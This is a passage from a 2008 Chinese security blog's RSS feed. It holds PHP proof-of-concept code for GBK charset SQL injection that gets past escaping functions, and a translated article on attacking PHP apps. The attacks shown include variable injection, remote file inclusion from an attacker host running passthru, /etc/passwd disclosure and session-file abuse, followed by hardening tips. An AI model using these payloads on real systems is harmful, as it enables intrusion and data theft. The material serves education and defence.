CHARACTER SET 'gbk'&amp;quot;, $c);&lt;br /&gt;&lt;br /&gt;// create demo table&lt;br /&gt;mysql_query(&amp;quot;CREATE TABLE users (&lt;br /&gt;username VARCHAR(32) PRIMARY KEY,&lt;br /&gt;password VARCHAR(32)&lt;br /&gt;) CHARACTER SET 'GBK'&amp;quot;, $c);&lt;br /&gt;mysql_query(&amp;quot;INSERT INTO users VALUES('foo','bar'), ('baz','test')&amp;quot;, $c);&lt;br /&gt;&lt;br /&gt;// now the exploit code&lt;br /&gt;$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; &lt;br /&gt;$_POST['password'] = 'anything'; &lt;br /&gt;&lt;br /&gt;// Proper escaping, we should be safe, right?&lt;br /&gt;$user = mysql_real_escape_string($_POST['username'], $c);&lt;br /&gt;$passwd = mysql_real_escape_string($_POST['password'], $c);&lt;br /&gt;&lt;br /&gt;$sql = &amp;quot;SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'&amp;quot;;&lt;br /&gt;$res = mysql_query($sql, $c);&lt;br /&gt;echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知&lt;br /&gt;道字符集的情况下用默认字符集处理产生漏洞的。&lt;br /&gt;下面再来分析下国内最近漏洞产生的原因。&lt;br /&gt;问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。&lt;br /&gt;发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0&amp;times;808027，而使得经过&lt;br /&gt;addslashes() 加上的&amp;quot;\&amp;quot;失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。 &lt;br /&gt;根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试&lt;br /&gt;$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');&lt;br /&gt;$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);&lt;br /&gt;$id3=iconv('gbk', 'utf-8', $_GET['id']);&lt;br /&gt;这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：&lt;br /&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$c = mysql_connect(&amp;quot;localhost&amp;quot;, &amp;quot;user&amp;quot;, &amp;quot;pass&amp;quot;);&lt;br /&gt;mysql_select_db(&amp;quot;database&amp;quot;, $c);&lt;br /&gt;&lt;br /&gt;// change our character set&lt;br /&gt;mysql_query(&amp;quot;SET CHARACTER SET 'gbk'&amp;quot;, $c);&lt;br /&gt;&lt;br /&gt;// create demo table&lt;br /&gt;mysql_query(&amp;quot;CREATE TABLE users (&lt;br /&gt;username VARCHAR(32) PRIMARY KEY,&lt;br /&gt;password VARCHAR(32)&lt;br /&gt;) CHARACTER SET 'GBK'&amp;quot;, $c);&lt;br /&gt;mysql_query(&amp;quot;INSERT INTO users VALUES('foo','bar'), ('baz','test')&amp;quot;, $c);&lt;br /&gt;&lt;br /&gt;// now the exploit code&lt;br /&gt;//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');&lt;br /&gt;$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);&lt;br /&gt;//$id3=iconv('gbk', 'utf-8', $_GET['id']);&lt;br /&gt;&lt;br /&gt;$sql = &amp;quot;SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'&amp;quot;;&lt;br /&gt;$res = mysql_query($sql, $c);&lt;br /&gt;echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;测试情况 &lt;a title=&quot;http://www.safe3.cn/test.php?id=%bf%27&quot; href=&quot;http://www.safe3.cn/test.php?id=%bf%27&quot; target=&quot;_blank&quot;&gt;http://www.safe3.cn/test.php?id=%bf%27&lt;/a&gt; OR username = username /*&lt;br /&gt;&lt;br /&gt;后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析&lt;br /&gt;&lt;a title=&quot;http://hackme.ntobjectives.com/sql_inject/login_addslashes.php&quot; href=&quot;http://hackme.ntobjectives.com/sql_inject/login_addslashes.php&quot; target=&quot;_blank&quot;&gt;http://hackme.ntobjectives.com/sql_inject/login_addslashes.php&lt;/a&gt; 。编码的问题在xss中也有利用价值，详情请看我&lt;br /&gt;早期转载的一篇文章&lt;a title=&quot;http://www.cnblogs.com/Safe3/archive/2008/07/14/1242675.html&quot; href=&quot;http://www.cnblogs.com/Safe3/archive/2008/07/14/1242675.html&quot; target=&quot;_blank&quot;&gt;Bypassing script filters with variable-width encodings&lt;/a&gt; 。&lt;br /&gt;&lt;br /&gt;from:&lt;a title=&quot;http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html&quot; href=&quot;http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html&quot; target=&quot;_blank&quot;&gt;http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html&lt;/a&gt;</description><category>Web攻防</category><pubDate>Thu, 28 Aug 2008 14:55:32 +0800</pubDate><author>X4ng's Blog</author><comments>http://cmwlwx.blog.sohu.com/98460330.html#comment</comments><guid isPermaLink="false">http://cmwlwx.blog.sohu.com/98460330.html</guid><dc:creator>X4ng's Blog</dc:creator><fs:srclink>http://cmwlwx.blog.sohu.com/98460330.html</fs:srclink><fs:srcfeed>http://cmwlwx.blog.sohu.com/rss</fs:srcfeed><fs:itemid>feedsky/cmwl/~1217621/117736121/1219356</fs:itemid></item><item><title>如何对PHP程序中的常见漏洞进行攻击</title><link>http://item.feedsky.com/~feedsky/cmwl/~1217621/117736122/1219356/1/item.html</link><description>之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。 Shaun
Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au
/studyinscarlet.txt找到。 &lt;br /&gt;由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。 &lt;br /&gt;文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。 &lt;br /&gt;好了，废话少说，我们言归正传！&lt;br /&gt; &lt;br /&gt;&lt;span style=&quot;color: Red;&quot;&gt;[全局变量]&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;PHP
中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其
方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很
少初始化变量，毕竟，当它们第一次创建时，他们是空的。 &lt;br /&gt;很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。 &lt;br /&gt;例如： &lt;br /&gt;&amp;lt;FORM METHOD=&amp;quot;GET&amp;quot; ACTION=&amp;quot;test.php&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;INPUT TYPE=&amp;quot;TEXT&amp;quot; NAME=&amp;quot;hello&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;INPUT TYPE=&amp;quot;SUBMIT&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;/FORM&amp;gt; &lt;br /&gt;很
显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，&amp;ldquo;test.php&amp;rdquo;会处理用户的输入，当&amp;ldquo;test.php&amp;rdquo;运行时，&amp;ldquo;$hello&amp;rdquo;
会 包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用
&amp;ldquo;test.php&amp;rdquo;，而是直接在浏览器地址栏输入&lt;a href=&quot;http://server/test.php?hello=hi&amp;setup=no%EF%BC%8C%E9%82%A3%E4%B9%88%EF%BC%8C&quot; title=&quot;http://server/test.php?hello=hi&amp;setup=no，那么，&quot; target=&quot;_blank&quot;&gt;http://server/test.php?hello=hi&amp;amp;setup=no，那么，&lt;/a&gt; 不止是&amp;ldquo;$hello&amp;rdquo;被创建，&amp;ldquo;$setup&amp;rdquo;也被创建了。 &lt;br /&gt;译者注：这两种方法也就是我们通常说的&amp;ldquo;POST&amp;rdquo;和&amp;ldquo;GET&amp;rdquo;方法。 &lt;br /&gt;下面的用户认证代码暴露了PHP的全局变量所导致的安全问题： &lt;br /&gt;&amp;lt;?php &lt;br /&gt;if ($pass == &amp;quot;hello&amp;quot;) &lt;br /&gt;$auth = 1; &lt;br /&gt;... &lt;br /&gt;if ($auth == 1) &lt;br /&gt;echo &amp;quot;some important information&amp;quot;; &lt;br /&gt;?&amp;gt; &lt;br /&gt;上面的代码首先检查用户的密码是否为&amp;ldquo;hello&amp;rdquo;，如果匹配的话，设置&amp;ldquo;$auth&amp;rdquo;为&amp;ldquo;1&amp;rdquo;，即通过认证。之后如果&amp;ldquo;$suth&amp;rdquo;为&amp;ldquo;1&amp;rdquo;的话，就会显示一些重要信息。 &lt;br /&gt;表 面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定&amp;ldquo;$auth&amp;rdquo;在没有设置值的时候是空的，却没有想到攻击 者可以创建任何全局变量并赋值，通过类似&amp;ldquo;&lt;a href=&quot;#&quot; title=&quot;http://server/test.php?auth=1”的方法，我们完全可以欺骗这段代码，使它相信我&quot; target=&quot;_blank&quot;&gt;http://server/test.php?auth=1&amp;rdquo;的方法，我们完全可以欺骗这段代码，使它相信我&lt;/a&gt; 们是已经认证过的。 &lt;br /&gt;因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。 &lt;br /&gt;一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开&amp;ldquo;track_vars&amp;rdquo;选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。 &lt;br /&gt;但
是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，
HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于
HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数
组中，因此一个安全的PHP程序应该检查这四个数组。 &lt;br /&gt;&lt;br /&gt;[远程文件] &lt;br /&gt;&lt;br /&gt;PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子： &lt;br /&gt;&amp;lt;?php &lt;br /&gt;if (!($fd = fopen(&amp;quot;$filename&amp;quot;, &amp;quot;r&amp;quot;)) &lt;br /&gt;echo(&amp;quot;Could not open file: $filename&amp;lt;BR&amp;gt; &amp;quot;); &lt;br /&gt;?&amp;gt; &lt;br /&gt;上
面的脚本试图打开文件&amp;ldquo;$filename&amp;rdquo;，如果失败就显示错误信息。很明显，如果我们能够指定&amp;ldquo;$filename&amp;rdquo;的话，就能利用这个脚本浏览系统
中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程
文件的处理是透明的。 &lt;br /&gt;例如： &lt;br /&gt;如果指定&amp;ldquo;$filename&amp;rdquo;为&amp;ldquo;&lt;a href=&quot;http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir%E2%80%9D&quot; title=&quot;http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”&quot; target=&quot;_blank&quot;&gt;http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir&amp;rdquo;&lt;/a&gt; &lt;br /&gt;则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。 &lt;br /&gt;这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。 &lt;br /&gt;例如： &lt;br /&gt;&amp;lt;?php &lt;br /&gt;include($libdir . &amp;quot;/languages.php&amp;quot;); &lt;br /&gt;?&amp;gt; &lt;br /&gt;上
例中&amp;ldquo;$libdir&amp;rdquo;一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得&amp;ldquo;$libdir&amp;rdquo;没有被设置的话，那么他就可以改变这个路径。但是
攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的&amp;ldquo;Poison null
byte&amp;rdquo;攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件
languages.php，包含如下内容： &lt;br /&gt;&amp;lt;?php &lt;br /&gt;passthru(&amp;quot;/bin/ls /etc&amp;quot;); &lt;br /&gt;?&amp;gt; &lt;br /&gt;然后把&amp;ldquo;$libdir&amp;rdquo;设置为&amp;ldquo;&lt;a href=&quot;http:///&quot; title=&quot;http://&quot; target=&quot;_blank&quot;&gt;http://&lt;/a&gt;&amp;lt;evilhost&amp;gt;/&amp;rdquo;，这样我们就可以在目标主机上执行上面的攻击代码，&amp;ldquo;/etc&amp;rdquo;目录的内容作为结果返回到客户的浏览器中。 &lt;br /&gt;需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：&lt;a href=&quot;http://www.securereality.com.au/sradv00006.txt&quot; title=&quot;http://www.securereality.com.au/sradv00006.txt&quot; target=&quot;_blank&quot;&gt;http://www.securereality.com.au/sradv00006.txt&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;[文件上载] &lt;br /&gt;&lt;br /&gt;PHP自动支持基于RFC 1867的文件上载，我们看下面的例子： &lt;br /&gt;&amp;lt;FORM METHOD=&amp;quot;POST&amp;quot; ENCTYPE=&amp;quot;multipart/form-data&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;INPUT TYPE=&amp;quot;FILE&amp;quot; NAME=&amp;quot;hello&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;INPUT TYPE=&amp;quot;HIDDEN&amp;quot; NAME=&amp;quot;MAX_FILE_SIZE&amp;quot; VALUE=&amp;quot;10240&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;INPUT TYPE=&amp;quot;SUBMIT&amp;quot;&amp;gt; &lt;br /&gt;&amp;lt;/FORM&amp;gt; &lt;br /&gt;上
面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当
PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过
&amp;ldquo;$MAX_FILE_SIZE variable&amp;rdquo;定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。 &lt;br /&gt;因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。 &lt;br /&gt;这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。 &lt;br /&gt;让
我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机
的，类似&amp;ldquo;phpxXuoXG&amp;rdquo;的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP
3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。 &lt;br /&gt;但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子： &lt;br /&gt;$hello = Filename on local machine (e.g &amp;quot;/tmp/phpxXuoXG&amp;quot;) &lt;br /&gt;$hello_size = Size in bytes of file (e.g 1024) &lt;br /&gt;$hello_name = The original name of the file on the remote system (e.g &amp;quot;c: emphello.txt&amp;quot;) &lt;br /&gt;$hello_type = Mime type of uploaded file (e.g &amp;quot;text/plain&amp;quot;) &lt;br /&gt;然后PHP程序开始处理根据&amp;ldquo;$hello&amp;rdquo;指定的文件，问题在于&amp;ldquo;$hello&amp;rdquo;不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式： &lt;br /&gt;&lt;a href=&quot;http://vulnhost/vuln.php?hello=/etc/passwd&amp;hello_size=10240&amp;hello_type=text/plain&amp;hello_name=hello.txt&quot; title=&quot;http://vulnhost/vuln.php?hello=/etc/passwd&amp;hello_size=10240&amp;hello_type=text/plain&amp;hello_name=hello.txt&quot; target=&quot;_blank&quot;&gt;http://vulnhost/vuln.php?hello=/etc/passwd&amp;amp;hello_size=10240&amp;amp;hello_type=text/plain&amp;amp;hello_name=hello.txt&lt;/a&gt; &lt;br /&gt;就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））： &lt;br /&gt;$hello = &amp;quot;/etc/passwd&amp;quot; &lt;br /&gt;$hello_size = 10240 &lt;br /&gt;$hello_type = &amp;quot;text/plain&amp;quot; &lt;br /&gt;$hello_name = &amp;quot;hello.txt&amp;quot; &lt;br /&gt;上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理&amp;ldquo;/etc/passwd&amp;rdquo;（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。 &lt;br /&gt;我
在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某
个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。 &lt;br /&gt;作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码： &lt;br /&gt;&amp;lt;?php &lt;br /&gt;if (file_exists($theme)) // Checks the file exists on the local system (no remote files) &lt;br /&gt;include(&amp;quot;$theme&amp;quot;); &lt;br /&gt;?&amp;gt; &lt;br /&gt;如
果攻击者可以控制&amp;ldquo;$theme&amp;rdquo;的话，很显然它可以利用&amp;ldquo;$theme&amp;rdquo;来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，
但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地
机器上创建一个包含PHP代码的文件，然后创建一个包含名为&amp;ldquo;theme&amp;rdquo;的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交
给上面的代码，PHP就会把攻击者提交的文件保存起来，并把&amp;ldquo;$theme&amp;rdquo;的值设置为攻击者提交的文件，这样file_exists()函数会检查通
过，攻击者的代码也将执行。 &lt;br /&gt;获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具
集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文
件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。 &lt;br /&gt;&lt;br /&gt;[库文件] &lt;br /&gt;&lt;br /&gt;正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。 &lt;br /&gt;最
初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个&amp;ldquo;.inc&amp;rdquo;的扩展名，但是他们很快发现这是一个错误，因
为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为
Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是 &amp;ldquo;.php&amp;rdquo;，
&amp;ldquo;.php3&amp;rdquo;和&amp;ldquo;.php4&amp;rdquo;。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。 &lt;br /&gt;最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。 &lt;br /&gt;下面是一个很明显的例子： &lt;br /&gt;In main.php: &lt;br /&gt;&amp;lt;?php &lt;br /&gt;$libDir = &amp;quot;/libdir&amp;quot;; &lt;br /&gt;$langDir = &amp;quot;$libdir/languages&amp;quot;; &lt;br /&gt;... &lt;br /&gt;include(&amp;quot;$libdir/loadlanguage.php&amp;quot;: &lt;br /&gt;?&amp;gt; &lt;br /&gt;In libdir/loadlanguage.php: &lt;br /&gt;&amp;lt;?php &lt;br /&gt;... &lt;br /&gt;include(&amp;quot;$langDir/$userLang&amp;quot;); &lt;br /&gt;?&amp;gt; &lt;br /&gt;当
&amp;ldquo;libdir/loadlanguage.php&amp;rdquo;
被&amp;ldquo;main.php&amp;rdquo;调用时是相当安全的，但是因为&amp;ldquo;libdir/loadlanguage&amp;rdquo;
具有&amp;ldquo;.php&amp;rdquo;的扩展名，因此远程攻击者可以直接请求 这个文件，并且可以任意指定&amp;ldquo;$langDir&amp;rdquo;和&amp;ldquo;$userLang&amp;rdquo;的值。 &lt;br /&gt;&lt;br /&gt;[Session文件] &lt;br /&gt;&lt;br /&gt;PHP
4
或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了这个事
实以及谁登陆进入这个网站都被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。 &lt;br /&gt;事实上，
当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的&amp;ldquo;session
id&amp;rdquo;，如果远程浏览器总是在发送请求时提交这个&amp;ldquo;session
id&amp;rdquo;的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含&amp;ldquo;session
id&amp;rdquo;）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开
始前加载到变量中。下面是一个简单的例子： &lt;br /&gt;&amp;lt;?php &lt;br /&gt;session_destroy(); // Kill any data currently in the session &lt;br /&gt;$session_auth = &amp;quot;shaun&amp;quot;; &lt;br /&gt;session_register(&amp;quot;session_auth&amp;quot;); // Register $session_auth as a session variable &lt;br /&gt;?&amp;gt; &lt;br /&gt;新版本的PHP都会自动把&amp;ldquo;$session_auth&amp;rdquo;的值设置为&amp;ldquo;shaun&amp;rdquo;，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。 &lt;br /&gt;一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话： &lt;br /&gt;&amp;lt;?php &lt;br /&gt;if (!empty($session_auth)) &lt;br /&gt;// Grant access to site here &lt;br /&gt;?&amp;gt; &lt;br /&gt;上
面的代码假定如果&amp;ldquo;$session_auth&amp;rdquo;被置位的话，就是从session，而不是从用户输入来置位的，如果攻击者通过表单输入来置位的话，他就
可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。 &lt;br /&gt;Session
数据一般是保存在文件中（位置是可配置的，一般是&amp;ldquo;/tmp&amp;rdquo;），文件名一般是类似 &amp;ldquo;sess_&amp;lt;session
id&amp;gt;&amp;rdquo;的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是
nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信
息。 &lt;br /&gt;Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方，对于上面的例子来说，攻击者需要在远
程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测
session文件的位置，而他知道文件名是&amp;ldquo;php&amp;lt;session id&amp;gt;&amp;rdquo;，所以只需猜测目录，而目录一般就是 &amp;ldquo;/tmp&amp;rdquo;。 &lt;br /&gt;另外，攻击者可以任意指定&amp;ldquo;session id&amp;rdquo;（例如&amp;ldquo;hello&amp;rdquo;），然后用这个&amp;ldquo;session id&amp;rdquo;创建一个session文件（例如&amp;ldquo;/tmp/sess_hello&amp;rdquo;），但是&amp;ldquo;session id&amp;rdquo;只能是字母和数字组合。 &lt;br /&gt;&lt;br /&gt;[数据类型] &lt;br /&gt;&lt;br /&gt;PHP
具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：&amp;ldquo;$hello&amp;rdquo;开始是字符串变量，值为&amp;ldquo;&amp;rdquo;，但是在求值时，就变成了整形变量
&amp;ldquo;0&amp;rdquo;，这有时可能会导致一些意想不到的结果。如果&amp;ldquo;$hello&amp;rdquo;的值为&amp;ldquo;000&amp;rdquo;还是为&amp;ldquo;0&amp;rdquo;是不同的，empty()返回的结果也不会为真。 &lt;br /&gt;PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着&amp;ldquo;$hello[&amp;quot;000&amp;quot;]&amp;rdquo;和&amp;ldquo;$hello[0]&amp;rdquo;也是不同的。 &lt;br /&gt;开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为&amp;ldquo;0&amp;rdquo;，而在另外的地方使用empty()来验证。 &lt;br /&gt;&lt;br /&gt;[容易出错的函数] &lt;br /&gt;&lt;br /&gt;我们在分析PHP程序中的漏洞时，如果能够拿到源代码的话，那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话，那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表： &lt;br /&gt;&lt;br /&gt;&amp;lt;PHP代码执行&amp;gt; &lt;br /&gt;&lt;br /&gt;require()：读取指定文件的内容并且作为PHP代码解释 &lt;br /&gt;include()：同上 &lt;br /&gt;eval()：把给定的字符串作为PHP代码执行 &lt;br /&gt;preg_replace()：当与&amp;ldquo;/e&amp;rdquo;开关一起使用时，替换字符串将被解释为PHP代码 &lt;br /&gt;&lt;br /&gt;&amp;lt;命令执行&amp;gt; &lt;br /&gt;&lt;br /&gt;exec()：执行指定的命令，返回执行结果的最后一行 &lt;br /&gt;passthru()：执行指定命令，返回所有结果到客户浏览器 &lt;br /&gt;``：执行指定命令，返回所有结果到一个数组 &lt;br /&gt;system()：同passthru()，但是不处理二进制数据 &lt;br /&gt;popen()：执行指定的命令，把输入或输出连接到PHP文件描述符 &lt;br /&gt;&lt;br /&gt;&amp;lt;文件泄露&amp;gt; &lt;br /&gt;&lt;br /&gt;fopen()：打开文件，并对应一个PHP文件描述符 &lt;br /&gt;readfile()：读取文件的内容，然后输出到客户浏览器 &lt;br /&gt;file()：把整个文件内容读到一个数组中 &lt;br /&gt;译者注：其实这份列表还不是很全，比如&amp;ldquo;mail()&amp;rdquo;等命令也可能执行命令，所以需要自己补充一下。 &lt;br /&gt;&lt;br /&gt;[如何增强PHP的安全性]&lt;br /&gt; &lt;br /&gt;我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现，但是我已经重复了很多次，PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类： &lt;br /&gt;*低难度 &lt;br /&gt;**中低难度 &lt;br /&gt;***中高难度 &lt;br /&gt;****高难度 &lt;br /&gt;上面的分类只是个人的看法，但是我可以保证，如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。 &lt;br /&gt;**** 设置&amp;ldquo;register_globals&amp;rdquo;为&amp;ldquo;off&amp;rdquo; &lt;br /&gt;这
个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量&amp;ldquo;hello&amp;rdquo;，PHP不会创建&amp;ldquo;$ hello&amp;rdquo;，而只会创建
&amp;ldquo;HTTP_GET/POST_VARS['hello']&amp;rdquo;。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很 大的不便。 &lt;br /&gt;*** 设置&amp;ldquo;safe_mode&amp;rdquo;为&amp;ldquo;on&amp;rdquo; &lt;br /&gt;打开这个选项，会增加如下限制： &lt;br /&gt;1． 限制哪个命令可以被执行 &lt;br /&gt;2． 限制哪个函数可以被使用 &lt;br /&gt;3． 基于脚本所有权和目标文件所有权的文件访问限制 &lt;br /&gt;4． 禁止文件上载功能 &lt;br /&gt;这对于ISP来说是一个伟大的选项，同时它也能极大地改进PHP的安全性。 &lt;br /&gt;** 设置&amp;ldquo;open_basedir&amp;rdquo; &lt;br /&gt;这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。 &lt;br /&gt;** 设置&amp;ldquo;display_errors&amp;rdquo;为&amp;ldquo;off&amp;rdquo;，设置&amp;ldquo;log_errors&amp;rdquo;为&amp;ldquo;on&amp;rdquo; &lt;br /&gt;这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。 &lt;br 